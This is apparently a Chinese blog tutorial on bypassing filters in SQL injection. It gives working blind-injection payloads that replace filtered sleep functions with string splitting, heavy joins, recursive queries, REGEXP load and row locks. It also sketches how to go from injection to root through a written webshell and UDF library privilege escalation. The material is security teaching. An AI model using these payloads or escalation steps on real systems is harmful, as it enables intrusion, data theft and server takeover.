WEB安全--SQL注入--bypass技巧2

继之前文章的补充:

WEB安全--SQL注入--bypass技巧_sql注入过滤空格-CSDN博客

Q1:发现sql注入的时间盲注时,如果时间盲注的函数都被过滤了,怎么办?

除了找其他函数替换、编码等方式,还有以下方式绕过:

1、尝试其他注入手段是否有效果,比如报错注入、DNSLog外带等;
2、将被过滤的函数以拼接的方式呈现(如果正则验证不严格可能绕过):
sql 复制代码
SELECT /*!50000sleep*/(5);
SELECT s||l||e||e||p(5);  -- Oracle
SELECT sle+ep(5);  --MSSQL
3、利用其他延时机制模拟相同效果:

笛卡尔积+大量数据处理(MySQL)

sql 复制代码
SELECT COUNT(*) FROM large_table1, large_table2, large_table3 WHERE ...

递归(MSSQL/PostgreSQL)

sql 复制代码
WITH RECURSIVE t(n) AS (
  SELECT 1 UNION ALL SELECT n+1 FROM t WHERE n < 1000000
)
SELECT * FROM t;
4、响应包判断:

所谓sql时间盲注指页面没有任何回显,但实际情况下响应包的内容可能会因为请求的sql语句而产生细微变化。

根据这一特性,我们可以尝试用普通的真假条件语句结合响应包中的内容去判断,可以将此sql时间盲注转化为类似布尔盲注的形式。

sql 复制代码
?id=1' AND (condition) --+
5、构造事件:

构造一个事件或触发器,让它执行慢查询或利用其副作用来判断条件是否成立(要有写权限)。

sql 复制代码
CREATE EVENT myevent ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 5 SECOND DO SELECT 1;
6、正则匹配:

某些复杂的正则或字符串处理函数在不同的输入下计算量不同,可造成微小但可检测的延迟。

sql 复制代码
1' AND IF(ASCII(SUBSTRING((SELECT user()),1,1)) > 100, 
    'A' REGEXP BINARY REPEAT('A',1000000), 
    1)--+
7、加锁操作延时:

如果条件不成立,快速返回;

如果条件成立→ 查询 users 中 id=1 并对其加锁,当前连接挂起等待锁释放(通常可控制几秒)

sql 复制代码
1' AND IF(ASCII(SUBSTRING((SELECT user()),1,1)) > 100, 
    (SELECT 1 FROM users WHERE id=1 FOR UPDATE), 
    1)--+

Q2、在服务器权限为普通用户是,sql注入如何获取服务器root权限?

判断注入的类型

判断数据库类型、版本等信息

判断当前用户权限(至少需要有文件写权限)

sql注入将webshell写入服务器web目录中(需要知道物理路径)==> 服务器脚本提权 ==> 在蚁剑中执行系统命令

上传.dll/.so文件(需要知道物理路径)==> 进行系统提权(UDF) ==> 在数据库命令行执行系统命令

相关推荐
b0uu2 小时前
2025高校网络安全管理运维赛决赛-取证赛道
安全·web安全
white-persist2 小时前
社会工程学全解析:从原理到实战
网络·安全·web安全·网络安全·信息可视化·系统安全·1024程序员节
介一安全2 小时前
【Web安全】OAuth2.0框架高频安全漏洞分析总结
web安全·网络安全·安全性测试
熊文豪2 小时前
KingbaseES电科金仓数据库SQL调优
数据库·sql·kingbasees·电科金仓·kes·sql调优
芯盾时代4 小时前
低空经济网络安全的政策体系构建
安全·web安全·网络安全·低空经济
墨燃.4 小时前
江西省第二届职业技能大赛网络安全赛题 应急响应
安全·web安全
光影少年5 小时前
前端线上出现白屏如何排查问题所在,利用第三方的工具都有哪些
前端·学习·web安全·前端框架
2301_800256115 小时前
地理空间数据库作业笔记——酒驾交通事故分析
sql·postgresql·1024程序员节
王火火(DDoS CC防护)6 小时前
如何判断服务器是否遭受攻击?
服务器·web安全·网络安全·ddos攻击
TDengine (老段)7 小时前
TDengine 数学函数 SIGN 用户手册
大数据·数据库·sql·时序数据库·iot·tdengine·涛思数据